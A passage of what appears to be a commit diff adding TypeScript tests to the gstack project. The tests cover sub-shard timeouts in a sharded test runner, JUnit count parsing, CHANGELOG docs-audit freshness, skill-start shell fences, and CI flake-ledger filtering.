const cancelled = harness([...files, EXCLUSIVE]);
cancelled.cancel();
const { result } = await cancelled.run(2);
expect(cancelled.calls.some(call => call.files.includes(EXCLUSIVE))).toBe(false);
expect(result.subShards!.at(-1)).toMatchObject({ status: 'missing', files: [EXCLUSIVE] });
expect(result.outcome.status).toBe('failed');
} finally { errors.mockRestore(); }
});
test('a sub-shard timeout prints FREE_SUBSHARD_TIMEOUT with the file, k, runner, run id and a serial reproduce', async () => {
const errors = spyOn(console, 'error').mockImplementation(() => {});
try {
const h = harness(files, runFiles => runFiles.includes(files[3])
? { ...failed(runFiles, []), status: 'timed-out', exitCode: null, inFlight: [files[3]] } : passed(runFiles));
const { result, exitCode } = await h.run(3);
expect(result.outcome.status).toBe('timed-out');
expect(exitCode).toBe(1);
const text = errors.mock.calls.map(call => String(call[0])).join('\n');
expect(text).toContain('FREE_SUBSHARD_TIMEOUT: CI shard 1 sub-shard plan-id-for-:1.1 (3 files)');
expect(text).toContain('hit its 360s wall at --jobs 3 on runner-7 (linux, 8 CPUs), run 123/attempt 2.');
expect(text).toContain(`in flight: ${files[3]}`);
expect(text).toContain(`printf '%s\\n' '${files[3]}' > files.txt && GSTACK_FREE_JOBS=1 bun run scripts/test-free-shards.ts --files-from files.txt`);
expect(text).toContain("--ci-run 'plan.json' --shard 1 --result shard-1.json --jobs 1");
expect(text).toContain('add it to SLOW_UNDER_LOAD in scripts/lib/shard-jobs.ts with run id 123/attempt 2; never raise the timeout.');
} finally { errors.mockRestore(); }
});
test('--ci-verify rejects tampered sub-shard records', () => {
const plan = createFreeCiPlan(files, 1, durations, 'revision-a');
const shard = plan.shards[0];
const assignments = assignSubShards(plan.id, shard, 2, () => false, packFiles => [packFiles.slice(0, 3), packFiles.slice(3)]);
const merged = mergeSubShardOutcomes(shard, assignments.map(assignment => ({ assignment, outcome: passed(assignment.files) })), 10);
const result: FreeCiResult = { planId: plan.id, revision: 'revision-a', outcome: merged.outcome, retry: null, jobs: 2, subShards: merged.records };
expect(() => verifyFreeCiResults(plan, [result])).not.toThrow();
const renamed = structuredClone(result);
renamed.subShards![0].id = 'other:1.1';
expect(() => verifyFreeCiResults(plan, [renamed])).toThrow(/ids or phases/);
const tooMany = structuredClone(result);
tooMany.jobs = 1;
expect(subShardRecordProblems({ ...tooMany, jobs: 2, subShards: [...tooMany.subShards!, { ...tooMany.subShards![0], id: `${plan.id.slice(0, 12)}:1.3`, files: [] }] }))
.toContain('sub-shard ids or phases do not match the plan and --jobs');
const overlap = structuredClone(result);
overlap.subShards![1].files = [...overlap.subShards![1].files, overlap.subShards![0].files[0]];
expect(() => verifyFreeCiResults(plan, [overlap])).toThrow(/sub-shards rejected/);
const hidden = structuredClone(result);
hidden.subShards![0].status = 'failed';
expect(() => verifyFreeCiResults(plan, [hidden])).toThrow(/a passing shard holds a failed sub-shard/);
expect(() => verifyFreeCiResults(plan, [{ ...result, jobs: 1 }])).toThrow(/valid --jobs/);
});
});
describe('per-file test and expect() counts from bun JUnit', () => {
const xml = (file: string) => `<?xml version="1.0" encoding="UTF-8"?>
<testsuites name="bun test" tests="6" assertions="9" failures="1" skipped="2">
<testsuite name="${file}" file="${file}" tests="3" assertions="9" failures="1" skipped="2">
<testsuite name="grp" file="${file}" tests="1" assertions="5">
<testcase name="x &gt; y &quot;q&quot;" classname="grp" file="${file}" line="2" assertions="5" />
</testsuite>
<testcase name="todo" classname="" file="${file}" line="3" assertions="0"><skipped message="TODO" /></testcase>
<testcase name="skip" classname="" file="${file}" line="4" assertions="0"><skipped /></testcase>
<testcase name="fails" classname="" file="${file}" line="5" assertions="4"><failure type="AssertionError" message="a &lt;b&gt;">x</failure></testcase>
</testsuite>
</testsuites>`;
test('classifies every testcase and sums assertions per file; matches cwd-relative paths back to planned files', () => {
const counts = parseJunitCounts(xml('../../test/a&amp;b.test.ts'), ['test/a&b.test.ts'], 4);
expect(counts).toEqual({ source: 'bun-junit', complete: true, files: { 'test/a&b.test.ts': { tests: 4, pass: 1, fail: 1, skip: 1, todo: 1, expects: 9 } },
totals: { tests: 4, pass: 1, fail: 1, skip: 1, todo: 1, expects: 9 } });
});
test('an ambiguous short path is never credited to one of two planned files that share it', () => {
const counts = parseJunitCounts(xml('a.test.ts'), ['test/a.test.ts', 'browse/test/a.test.ts'], 4);
expect(counts.complete).toBe(false);
expect(counts.problem).toContain('unplanned');
});
test('an absolute path is credited to the planned file under the root; an unplanned file never borrows a shorter planned path', () => {
const planned = ['test/telemetry.test.ts', 'browse/test/telemetry.test.ts'];
expect(Object.keys(parseJunitCounts(xml('/repo/browse/test/telemetry.test.ts'), planned, 4, '/repo').files)).toEqual(['browse/test/telemetry.test.ts']);
expect(Object.keys(parseJunitCounts(xml('../../repo/test/telemetry.test.ts'), planned, 4, '/repo').files)).toEqual(['test/telemetry.test.ts']);
const borrowed = parseJunitCounts(xml('browse/test/x.test.ts'), ['test/x.test.ts'], 4, '/repo');
expect(borrowed).toMatchObject({ complete: false, problem: expect.stringContaining('browse/test/x.test.ts') });
expect(parseJunitCounts(xml('/elsewhere/test/x.test.ts'), ['test/x.test.ts'], 4, '/repo').complete).toBe(false);
});
test('the report is read only as a bounded regular file, never through a link or a FIFO', () => {
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'gstack-junit-'));
try {
fs.writeFileSync(path.join(dir, 'real.xml'), '<testsuites/>');
expect(readJunitReport(path.join(dir, 'real.xml'))).toBe('<testsuites/>');
expect(readJunitReport(path.join(dir, 'absent.xml'))).toBeNull();
if (process.platform !== 'win32') {
fs.symlinkSync(path.join(dir, 'real.xml'), path.join(dir, 'link.xml'));
expect(readJunitReport(path.join(dir, 'link.xml'))).toBeNull();
const fifo = Bun.spawnSync(['mkfifo', path.join(dir, 'fifo.xml')], { timeout: 5_000 });
if (fifo.exitCode === 0) expect(readJunitReport(path.join(dir, 'fifo.xml'))).toBeNull();
}
} finally { fs.rmSync(dir, { recursive: true, force: true }); }
});
test('a missing report, an unplanned file or a count that disagrees with bun summary is incomplete, never silently complete', () => {
expect(parseJunitCounts(null, ['test/a.test.ts'], 4)).toMatchObject({ complete: false, problem: 'bun wrote no JUnit report' });
expect(parseJunitCounts(xml('test/z.test.ts'), ['test/a.test.ts'], 4)).toMatchObject({ complete: false, problem: expect.stringContaining('unplanned') });
expect(parseJunitCounts(xml('test/a.test.ts'), ['test/a.test.ts'], 5)).toMatchObject({ complete: false, problem: "JUnit counted 4 tests, bun's summary 5" });
expect(parseJunitCounts(xml('test/a.test.ts'), ['test/a.test.ts'], null).complete).toBe(false);
});
test('real bun children: counts are identical per file at k = 1 and k = 2, add up to bun summary, and leave the stream unchanged', async () => {
const root = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'gstack-shard-jobs-')));
try {
const fixtures: Record<string, string> = {
't/a.test.ts': "import { test, expect } from 'bun:test';\ntest('a1', () => { expect(1).toBe(1); expect(2).toBe(2); });\ntest('a2', () => { expect(3).toBe(3); });\ntest.skip('a3', () => {});\n",
't/b.test.ts': "import { test, expect, describe } from 'bun:test';\ndescribe('g', () => { test('b1', () => { for (let i = 0; i < 5; i++) expect(i).toBe(i); }); });\ntest.todo('b2');\n",
't/c.test.ts': "import { test, expect } from 'bun:test';\ntest('c1', () => { expect([1]).toEqual([1]); });\n",
't/d.test.ts': "import { test, expect } from 'bun:test';\ntest.each([1, 2, 3])('d%p', n => { expect(n).toBeGreaterThan(0); expect(n).toBeLessThan(4); });\n",
};
for (const [file, body] of Object.entries(fixtures)) {
fs.mkdirSync(path.dirname(path.join(root, file)), { recursive: true });
fs.writeFileSync(path.join(root, file), body);
}
const planned = Object.keys(fixtures);
const plan = createFreeCiPlan(planned, 1, {}, 'rev');
const pids: number[] = [];
const deps = (logs: string[]): CiShardDeps => ({
runShard: async (runFiles, n, total, options) => {
const logFilePath = path.join(root, `stream-${logs.length}-${runFiles.length}-${n}-${total}.log`);
logs.push(logFilePath);
const outcome = await runFreeShard(runFiles, n, total, { ...options, rootDir: root, quiet: true, log: () => {}, logFilePath });
if (outcome.groupPid) pids.push(outcome.groupPid);
return outcome;
},
retry: async outcomes => ({ exitCode: outcomes[0].status === 'passed' ? 0 : 1, retry: null }),
pack: (packFiles, count) => Array.from({ length: count }, (_, i) => packFiles.filter((_, j) => j % count === i)),
isSerial: () => false,
terminationRequested: () => false,
log: () => {},
});
const input = { plan, shard: plan.shards[0], revision: 'rev', wallTimeoutMs: 60_000, verbose: false, context };
const serialLogs: string[] = [];
const one = await runCiShard({ ...input, jobs: 1 }, deps(serialLogs));
const two = await runCiShard({ ...input, jobs: 2 }, deps([]));
expect([one.exitCode, two.exitCode]).toEqual([0, 0]);
const expected = {
't/a.test.ts': { tests: 3, pass: 2, fail: 0, skip: 1, todo: 0, expects: 3 },
't/b.test.ts': { tests: 2, pass: 1, fail: 0, skip: 0, todo: 1, expects: 5 },
't/c.test.ts': { tests: 1, pass: 1, fail: 0, skip: 0, todo: 0, expects: 1 },
't/d.test.ts': { tests: 3, pass: 3, fail: 0, skip: 0, todo: 0, expects: 6 },
};
expect(one.result.outcome.counts).toMatchObject({ complete: true, files: expected, totals: { tests: 9, expects: 15 } });
expect(two.result.outcome.counts).toEqual(one.result.outcome.counts);
expect(two.result.subShards).toHaveLength(2);
expect(one.result.outcome.summary).toEqual(two.result.outcome.summary);
const bare = await runFreeShard(planned, 1, 1, { rootDir: root, quiet: true, log: () => {}, logFilePath: path.join(root, 'bare.log') });
expect(bare.counts).toBeUndefined();
const stream = (file: string) => fs.readFileSync(file, 'utf8').replace(/ \[[\d.]+m?s\]/g, '').split('\n').filter(line => !line.startsWith('[test:free]'));
expect(stream(serialLogs[0])).toEqual(stream(path.join(root, 'bare.log')));
for (const pid of pids) expect(() => process.kill(pid, 0)).toThrow();
} finally { fs.rmSync(root, { recursive: true, force: true }); }
}, 60_000);
test('a hung sub-shard is killed at its wall while its sibling finishes, and no child outlives the parent', async () => {
const root = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'gstack-shard-jobs-')));
const errors = spyOn(console, 'error').mockImplementation(() => {});
try {
const planned = ['t/ok.test.ts', 't/hang.test.ts'];
for (const file of planned) {
fs.mkdirSync(path.join(root, 't'), { recursive: true });
fs.writeFileSync(path.join(root, file), "import { test, expect } from 'bun:test';\ntest('ok', () => { expect(1).toBe(1); });\n");
}
const plan = createFreeCiPlan(planned, 1, {}, 'rev');
const outcomes: FreeShardOutcome[] = [];
const startedAt = performance.now();
const { result } = await runCiShard({ plan, shard: plan.shards[0], revision: 'rev', jobs: 2, wallTimeoutMs: 2_000, verbose: false, context }, {
runShard: async (runFiles, n, total, options) => {
const outcome = await runFreeShard(runFiles, n, total, { ...options, rootDir: root, quiet: true, log: () => {},
...(runFiles.includes('t/hang.test.ts') ? { commandFor: () => ({ command: process.execPath, args: ['-e', 'setInterval(() => {}, 1000)'] }) } : {}) });
outcomes.push(outcome);
return outcome;
},
retry: async () => ({ exitCode: 1, retry: null }),
pack: packFiles => packFiles.map(file => [file]),
isSerial: () => false,
terminationRequested: () => false,
log: () => {},
});
expect(performance.now() - startedAt).toBeLessThan(20_000);
expect(result.outcome.status).toBe('timed-out');
expect(result.subShards!.map(record => [record.files[0], record.status]).sort()).toEqual([['t/hang.test.ts', 'timed-out'], ['t/ok.test.ts', 'passed']]);
for (const outcome of outcomes) expect(() => process.kill(outcome.groupPid!, 0)).toThrow();
expect(errors.mock.calls.some(call => String(call[0]).includes('FREE_SUBSHARD_TIMEOUT'))).toBe(true);
} finally { errors.mockRestore(); fs.rmSync(root, { recursive: true, force: true }); }
}, 60_000);
});
describe('serial lists and the duration seed', () => {
test('SLOW_UNDER_LOAD entries name live free files, a reason and a CI run id, and never overlap TREE_MUTATING', () => {
const census = new Set(collectFreeTestFiles());
for (const [file, entry] of Object.entries(SLOW_UNDER_LOAD)) {
expect(census.has(file), `SLOW_UNDER_LOAD names ${file}, which is not a free test file`).toBe(true);
expect(file in TREE_MUTATING).toBe(false);
expect(entry.reason.trim()).not.toBe('');
expect(entry.runId).toMatch(/^\d+(\/attempt \d+)?$/);
}
});
test('seeds take only one-file children; sub-shard runs have no path to the seed writer', () => {
expect(() => assertSoloSeedSample('test/a.test.ts', { files: ['test/a.test.ts'] })).not.toThrow();
expect(() => assertSoloSeedSample('test/a.test.ts', { files: ['test/a.test.ts', 'test/b.test.ts'] })).toThrow(/one-file serial children/);
expect(() => assertSoloSeedSample('test/a.test.ts', { files: ['test/a.test.ts'], summary: { testsRan: 9, filesRan: 2, sawTerminalSummary: true } })).toThrow(/one-file serial children/);
expect(fs.readFileSync(path.join(ROOT, 'scripts/lib/shard-jobs.ts'), 'utf8')).not.toContain('writeDurationSeed');
const runner = fs.readFileSync(path.join(ROOT, 'scripts/test-free-shards.ts'), 'utf8');
const recorder = runner.slice(runner.indexOf('async function recordFreeTestDurations('), runner.indexOf('async function retryFailedFreeFiles('));
expect(runner.split('writeDurationSeed(').length - 1).toBe(recorder.split('writeDurationSeed(').length - 1);
expect(recorder).toContain('assertSoloSeedSample(file, outcome)');
});
test('the run context names the CI run and attempt, else local', () => {
expect(ciRunContext('p.json', { GITHUB_RUN_ID: '42', GITHUB_RUN_ATTEMPT: '3', RUNNER_NAME: 'ubi-1' })).toMatchObject({ runId: '42/attempt 3', runner: expect.stringMatching(/^ubi-1 \(/) });
expect(ciRunContext('p.json', {}).runId).toBe('local');
expect(subShardTimeoutText(2, 4, { id: 'x:2.1', phase: 'parallel', files: ['test/a.test.ts'], status: 'timed-out', exitCode: null, elapsedMs: 1, failingFiles: [], unattributedFailures: 0 },
[], 10_000, context)[1]).toContain('in flight: unknown');
const serial = { id: 'x:2.5', phase: 'serial' as const, files: ['test/s.test.ts'], status: 'timed-out' as const, exitCode: null, elapsedMs: 1, failingFiles: [], unattributedFailures: 0 };
const squeezed = subShardTimeoutText(2, 4, serial, [], 4_000, context, 360_000);
expect(squeezed[0]).toContain('hit its 4s wall');
expect(squeezed[4]).toContain('left this serial sub-shard 4s of the 360s shard wall');
expect(subShardTimeoutText(2, 4, serial, [], 360_000, context, 360_000)[4]).toContain('already runs alone');
});
});
+90
View File
@@ -572,3 +572,93 @@ describe('preflight carry route for an adjacent base edit (GST-442)', () => {
});
});
describe('a CHANGELOG re-heading after the docs audit (GST-906, GBRA-258, gbrain #8372)', () => {
// Value: protects=a slot restamp after the Step 14.5 snapshot that only re-heads the branch's CHANGELOG entry
// ([Unreleased], or its old version after a lost slot, moved to `## [<version>] - <date>`, with the audited VERSION moved
// in the second case) keeps the audit fresh, while an entry edit beside the re-heading, or audited bytes git does not
// hold, stays stale; fails_when=finish stops with DOCS: stale (CHANGELOG.md) or (VERSION) on a pure restamp (recovery
// then needs a third audit or a named risk) or waves an entry edit through; seam=lib/ship-release.ts docsFresh;
// no_claim=the restamp writer
test('a re-heading alone keeps the audit fresh; an entry edit or unheld audited bytes stays stale', () => {
const policy = JSON.stringify({ bump: 'patch', queue_mode: 'stamp-at-merge', changelog: 'CHANGELOG.md', stamp_files: ['VERSION', 'package.json', 'CHANGELOG.md'] });
const log = (heading: string, entry = '- b ships') => `# Changelog\n\n${heading}\n\n${entry}\n\n## [1.0.0.0] - 2026-10-30\n\n- base entry\n`;
const cases = [
['[Unreleased] re-headed', '1.0.0.0', log('## [Unreleased]'), '1.0.1.0', log('## [1.0.1.0] - 2026-11-01'), true, 'fresh'],
['old version re-headed after a lost slot', '1.0.1.0', log('## [1.0.1.0] - 2026-11-01'), '1.0.2.0', log('## [1.0.2.0] - 2026-11-02'), true, 'fresh'],
['re-heading plus an entry edit', '1.0.0.0', log('## [Unreleased]'), '1.0.1.0', log('## [1.0.1.0] - 2026-11-01', '- b ships fast'), true, 'stale'],
['audited bytes never committed or staged', '1.0.0.0', log('## [Unreleased]'), '1.0.1.0', log('## [1.0.1.0] - 2026-11-01'), false, 'stale'],
] as const;
for (const [name, audited, auditedLog, stamped, stampedLog, committed, verdict] of cases) {
const f = fx({ '.gstack/ship-policy.json': policy, 'CHANGELOG.md': '# Changelog\n\n## [1.0.0.0] - 2026-10-30\n\n- base entry\n' });
const reviewed = wtree(f);
f.write({ VERSION: `${audited}\n`, 'CHANGELOG.md': auditedLog });
if (committed) f.commit('Steps 12-13: version and CHANGELOG');
const post = snapshot(f);
f.write({ VERSION: `${stamped}\n`, 'CHANGELOG.md': stampedLog }); f.commit('slot restamp');
const r = finish(f, reviewed, post, ['--reviewed-base', mergeBase(f)]);
if (verdict === 'fresh') expect([name, r.status, lineOf(r.stdout, 'DOCS')]).toEqual([name, 0, expect.stringContaining('DOCS: fresh against the Step 14.5 post-audit snapshot')]);
else expect([name, r.status, lineOf(r.stdout, 'DOCS')]).toEqual([name, 3, 'DOCS: stale (CHANGELOG.md)']);
}
});
// Value: protects=the lost-slot restamp merges main first (CREW rule 6), so the CHANGELOG also gains main's new sections;
// that merge plus the re-heading keeps the audit fresh, while a merge that drops or edits a main section, or hides an
// entry edit, stays stale; fails_when=finish stops with DOCS: stale (CHANGELOG.md) after main merged a sibling's release,
// or waves a changed section through; seam=lib/ship-release.ts docsFresh (mergeChangelogs as lib/restamp.ts calls it);
// no_claim=the restamp writer
test('a main merge before the re-heading keeps the audit fresh; a dropped or edited section stays stale', () => {
const policy = JSON.stringify({ bump: 'patch', queue_mode: 'stamp-at-merge', changelog: 'CHANGELOG.md', stamp_files: ['VERSION', 'package.json', 'CHANGELOG.md'] });
const section = (heading: string, entry: string) => `${heading}\n\n${entry}\n\n`;
const log = (...sections: string[]) => `# Changelog\n\n${sections.join('')}## [1.0.0.0] - 2026-10-30\n\n- base entry\n`;
const own = section('## [1.0.1.0] - 2026-11-01', '- b ships');
const sibling = section('## [1.0.1.0] - 2026-11-01', '- sibling ships');
const cases = [
['main merged, then re-headed', log(section('## [1.0.2.0] - 2026-11-02', '- b ships'), sibling), 'fresh'],
['merge drops a main section', log(section('## [1.0.2.0] - 2026-11-02', '- b ships')), 'stale'],
['merge edits a main section', log(section('## [1.0.2.0] - 2026-11-02', '- b ships'), section('## [1.0.1.0] - 2026-11-01', '- sibling ships fast')), 'stale'],
['entry edit hidden inside a merge', log(section('## [1.0.2.0] - 2026-11-02', '- b ships fast'), sibling), 'stale'],
] as const;
for (const [name, stampedLog, verdict] of cases) {
const f = fx({ '.gstack/ship-policy.json': policy, VERSION: '1.0.0.0\n', 'CHANGELOG.md': log() });
const reviewed = wtree(f);
f.write({ VERSION: '1.0.1.0\n', 'CHANGELOG.md': log(own) }); f.commit('Steps 12-13: version and CHANGELOG');
const post = snapshot(f);
f.advanceBase({ VERSION: '1.0.1.0\n', 'CHANGELOG.md': log(sibling) });
mergeMain(f, { VERSION: '1.0.1.0\n', 'CHANGELOG.md': log(own, sibling) });
f.write({ VERSION: '1.0.2.0\n', 'CHANGELOG.md': stampedLog }); f.commit('slot restamp');
const r = finish(f, reviewed, post, ['--reviewed-base', mergeBase(f)]);
if (verdict === 'fresh') expect([name, r.status, lineOf(r.stdout, 'DOCS')]).toEqual([name, 0, expect.stringContaining('DOCS: fresh against the Step 14.5 post-audit snapshot')]);
else expect([name, r.status, lineOf(r.stdout, 'DOCS')]).toEqual([name, 3, 'DOCS: stale (CHANGELOG.md)']);
}
});
// Value: protects=the base merge in the carry may only add the base's sections: dropping a header line the audit saw
// stays stale with or without a main merge, and a branch that also corrected a released entry keeps a pure re-heading
// fresh; fails_when=mergeChangelogs' base-wins resolution hides a deleted audited line (DOCS: fresh) or stales a pure
// re-heading; seam=lib/ship-release.ts docsFresh; no_claim=the restamp writer
test('the base merge only adds base sections: a dropped audited line stays stale, a corrected released entry stays fresh', () => {
const policy = JSON.stringify({ bump: 'patch', queue_mode: 'stamp-at-merge', changelog: 'CHANGELOG.md', stamp_files: ['VERSION', 'package.json', 'CHANGELOG.md'] });
const released = (entry = '- base entry') => `## [1.0.0.0] - 2026-10-30\n\n${entry}\n`;
const log = (header: string, own: string, rest: string) => `# Changelog\n\n${header}${own}\n\n- b ships\n\n${rest}`;
const sibling = '## [1.0.1.0] - 2026-11-01\n\n- sibling ships\n\n';
const cases = [
['audited header line dropped, no main merge', log('Notice: read this.\n\n', '## [1.0.1.0] - 2026-11-01', released()), false, log('', '## [1.0.2.0] - 2026-11-02', released()), 'stale'],
['audited header line dropped in a main merge', log('Notice: read this.\n\n', '## [1.0.1.0] - 2026-11-01', released()), true, log('', '## [1.0.2.0] - 2026-11-02', sibling + released()), 'stale'],
['released entry corrected, then re-headed', log('', '## [1.0.1.0] - 2026-11-01', released('- base entry, corrected')), false, log('', '## [1.0.2.0] - 2026-11-02', released('- base entry, corrected')), 'fresh'],
] as const;
for (const [name, auditedLog, merges, stampedLog, verdict] of cases) {
const f = fx({ '.gstack/ship-policy.json': policy, VERSION: '1.0.0.0\n', 'CHANGELOG.md': `# Changelog\n\n${released()}` });
const reviewed = wtree(f);
f.write({ VERSION: '1.0.1.0\n', 'CHANGELOG.md': auditedLog }); f.commit('Steps 12-13: version and CHANGELOG');
const post = snapshot(f);
if (merges) {
f.advanceBase({ VERSION: '1.0.1.0\n', 'CHANGELOG.md': `# Changelog\n\n${sibling}${released()}` });
mergeMain(f, { VERSION: '1.0.1.0\n', 'CHANGELOG.md': stampedLog });
}
f.write({ VERSION: '1.0.2.0\n', 'CHANGELOG.md': stampedLog }); f.commit('slot restamp');
const r = finish(f, reviewed, post, ['--reviewed-base', mergeBase(f)]);
if (verdict === 'fresh') expect([name, r.status, lineOf(r.stdout, 'DOCS')]).toEqual([name, 0, expect.stringContaining('DOCS: fresh against the Step 14.5 post-audit snapshot')]);
else expect([name, r.status, lineOf(r.stdout, 'DOCS')]).toEqual([name, 3, 'DOCS: stale (CHANGELOG.md)']);
}
});
});
+89
View File
@@ -0,0 +1,89 @@
/**
* GST-882: the skill-start fence must be plain shell a static resolver can
* follow. Hermes's Tirith 0.4.2 blocks a grouped fallback
* (`[ -d … ]||{ …; exit 1;}`) and any variable-selected command with HIGH
* "Nested executable body could not be resolved", which no allowlist entry can
* clear, so every gstack skill start was denied. An install-root render names
* the literal start path; every render keeps a loud failure when gstack is
* missing.
*/
import { describe, expect, test } from 'bun:test';
import { spawnSync } from 'child_process';
import * as fs from 'fs';
import * as os from 'os';
import * as path from 'path';
import { ALL_HOST_CONFIGS } from '../hosts';
import { generatePreambleBash } from '../scripts/resolvers/preamble/generate-preamble-bash';
import { insertRuntimePreludes, runtimeRootPrelude } from '../scripts/resolvers/runtime-root';
import { HOST_PATHS, type TemplateContext } from '../scripts/resolvers/types';
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'gst882-'));
const ctx = (host: string, installRoot: string | null) =>
({ host, paths: HOST_PATHS[host], skillName: 'ship', tmplPath: '', model: 'claude', installRoot }) as TemplateContext;
const startFence = (c: TemplateContext) => insertRuntimePreludes(generatePreambleBash(c), c).match(/```bash\n([\s\S]*?)\n```/)![1];
const GROUPED = /(?:^|[;&|]\s*)\{\s|exit 1;\s*\}/m;
const sh = (body: string, env: Record<string, string>, cwd = tmp) =>
spawnSync('bash', ['-uc', body], { cwd, encoding: 'utf8', timeout: 10_000, env: { PATH: '/usr/bin:/bin', ...env } });
function stubStart(root: string) {
fs.mkdirSync(path.join(root, 'bin'), { recursive: true });
fs.mkdirSync(path.join(root, 'lib'), { recursive: true });
fs.writeFileSync(path.join(root, 'bin', 'gstack-skill-start'), '#!/bin/sh\necho "STARTED $0 $*"\n', { mode: 0o755 });
}
describe('skill-start fence is plain shell on every host (GST-882)', () => {
for (const host of ALL_HOST_CONFIGS) {
for (const installRoot of [null, path.join(tmp, `${host.name}-install`)]) {
const label = `${host.name} ${installRoot ? 'install-root' : 'checked-in'} render`;
test(`${label}: no grouped fallback`, () => {
expect(startFence(ctx(host.name, installRoot))).not.toMatch(GROUPED);
});
if (!host.usesEnvVars) continue;
test(`${label}: a missing install fails loudly`, () => {
const r = sh(startFence(ctx(host.name, installRoot)), { HOME: path.join(tmp, 'empty-home') });
expect(r.status).not.toBe(0);
expect(r.stderr).toContain('gstack: no install found');
expect(r.stderr).toContain(`./setup --host ${host.name}`);
});
}
if (!host.usesEnvVars) continue;
test(`${host.name} install-root render: the start command is a literal path that runs`, () => {
const root = path.join(tmp, `${host.name}-literal`);
const fence = startFence(ctx(host.name, root));
const command = fence.split('\n').at(-1)!;
expect(command).toStartWith(`"${root}/bin/gstack-skill-start" --skill "ship"`);
expect(fence).not.toContain('$');
stubStart(root);
const r = sh(fence, { HOME: path.join(tmp, 'empty-home') });
expect(r.status, r.stderr).toBe(0);
expect(r.stdout).toContain(`STARTED ${root}/bin/gstack-skill-start --skill ship`);
});
test(`${host.name} checked-in render: finds the global install`, () => {
const home = path.join(tmp, `${host.name}-home`);
const global = path.join(home, host.name === 'codex' ? '.codex/skills/gstack' : host.globalRoot);
stubStart(global);
const r = sh(startFence(ctx(host.name, null)), { HOME: home });
expect(r.status, r.stderr).toBe(0);
expect(r.stdout).toContain('STARTED ');
expect(r.stdout).toContain('--skill ship');
});
test(`${host.name} checked-in render: the start lookup picks the root later fences pick`, () => {
const base = path.join(tmp, `${host.name}-parity`);
const home = path.join(base, 'home');
const repo = path.join(base, 'repo');
const exported = path.join(base, 'exported');
stubStart(path.join(home, host.name === 'codex' ? '.codex/skills/gstack' : host.globalRoot));
fs.mkdirSync(repo, { recursive: true });
spawnSync('git', ['init', '-q', repo], { timeout: 10_000 });
const c = ctx(host.name, null);
const lookup = startFence(c).split('\n').slice(0, -1).join('\n');
const root = (body: string, env: Record<string, string>) => sh(`${body}\necho "ROOT=$GSTACK_ROOT"`, env, repo).stdout.trim().split('\n').at(-1);
for (const layout of ['global', 'repo-local', 'exported']) {
if (layout === 'repo-local') stubStart(path.join(repo, host.localSkillRoot));
if (layout === 'exported') stubStart(exported);
const env: Record<string, string> = layout === 'exported' ? { HOME: home, GSTACK_ROOT: exported } : { HOME: home };
expect(root(lookup, env)).toBe(root(runtimeRootPrelude(c), env));
if (layout === 'exported') expect(root(lookup, env)).toBe(`ROOT=${exported}`);
}
});
}
});
+1 -1
View File
@@ -196,7 +196,7 @@ describe('test-free-shards: exclusive host-state phase', () => {
let child: ReturnType<typeof Bun.spawn> | undefined;
let watchdog: ReturnType<typeof setTimeout> | undefined;
try {
for (const file of ['scripts/test-free-shards.ts', 'scripts/test-strict-output.ts', 'scripts/lib/shard-engine.ts', 'scripts/lib/free-home-guard.ts', 'scripts/lib/free-ci-health.ts', 'scripts/lib/windows-curation.ts', 'lib/state-root.ts',
for (const file of ['scripts/test-free-shards.ts', 'scripts/test-strict-output.ts', 'scripts/lib/shard-engine.ts', 'scripts/lib/free-home-guard.ts', 'scripts/lib/free-ci-health.ts', 'scripts/lib/windows-curation.ts', 'scripts/lib/shard-jobs.ts', 'lib/state-root.ts',
'test/helpers/paid-test-set.ts', 'test/helpers/touchfiles.ts', 'test/helpers/touchfiles-data.ts', 'test/helpers/test-selection.ts']) {
const target = path.join(directory, file);
fs.mkdirSync(path.dirname(target), { recursive: true });
+49 -3
View File
@@ -112,14 +112,60 @@ describe('W7a flake ledger reader', () => {
const client = fakeClient([
[/workflows\/free-tests\.yml\/runs/, () => ({ workflow_runs: runs })],
[/runs\/100\/artifacts/, () => ({ artifacts: [{ id: 1, name: 'flake-ledger-3', size_in_bytes: 10 }, { id: 2, name: 'free-result-3', size_in_bytes: 10 }] })],
[/runs\/101\/artifacts/, () => ({ artifacts: [{ id: 3, name: 'flake-ledger-7', size_in_bytes: 10, expired: true }] })],
[/runs\/\d+\/artifacts/, () => ({ artifacts: [] })],
[/runs\/101\/artifacts/, () => ({ artifacts: [{ id: 3, name: 'flake-ledger-7', size_in_bytes: 10, expired: true }, { id: 4, name: 'free-result-7', size_in_bytes: 10 }] })],
[/runs\/\d+\/artifacts/, () => ({ artifacts: [{ id: 5, name: 'free-result-1', size_in_bytes: 10 }] })],
], { 1: { 'flake-ledger.jsonl': ledger('test/a.test.ts') + ledger('test/a.test.ts') } });
const window = readCiFlakeLedgers({ client, repo: 'o/r', sinceDays: 7, now: NOW, cacheDir: tmp('health-cache-') });
expect(window).toMatchObject({ runs: 20, flakyRuns: 1, enforceable: true, files: [{ file: 'test/a.test.ts', flakyRuns: 1, entries: 2, rate: 0.05, failing: false }] });
expect(client.calls[0]).toContain('branch=main');
});
// A reused main push (#3709) uploads no artifact and its reuse job succeeds; a real run uploads free-plan and free-result-*.
const reuseClient = (runs: ReturnType<typeof run>[], kind: (id: number) => 'reused' | 'real' | 'flaky', jobs?: () => unknown) => fakeClient([
[/workflows\/free-tests\.yml\/runs/, () => ({ workflow_runs: runs })],
[/runs\/\d+\/artifacts/, apiPath => {
const k = kind(Number(/runs\/(\d+)\/artifacts/.exec(apiPath)![1]));
return { artifacts: k === 'reused' ? [] : [{ id: 8, name: 'free-plan', size_in_bytes: 10 },
...(k === 'flaky' ? [{ id: 9, name: 'flake-ledger-3', size_in_bytes: 10 }] : [])] };
}],
[/runs\/\d+\/attempts\/1\/jobs/, jobs ?? (() => ({ jobs: [{ id: 1, name: 'reuse', conclusion: 'success' }, { id: 2, name: 'free-plan', conclusion: 'skipped' },
{ id: 3, name: 'free-tests', conclusion: 'success' }] }))],
], { 9: { 'flake-ledger.jsonl': ledger('test/a.test.ts') } });
test('reused main pushes that ran no shards stay out of the window and its denominator; the window refills with older runs that ran shards (#3725)', () => {
// Value: protects=test:health --enforce still flags a file flaky in >5% of runs that executed shards when main pushes reuse their PR's run; fails_when=a reused run (no artifacts, reuse job green) counts as a zero-flake run again; why_new=#3725, after #3709 reused runs diluted 2/20 (10%) to 2/45 (4.4%); seam=GhClient fake; no_claim=the live artifact retention
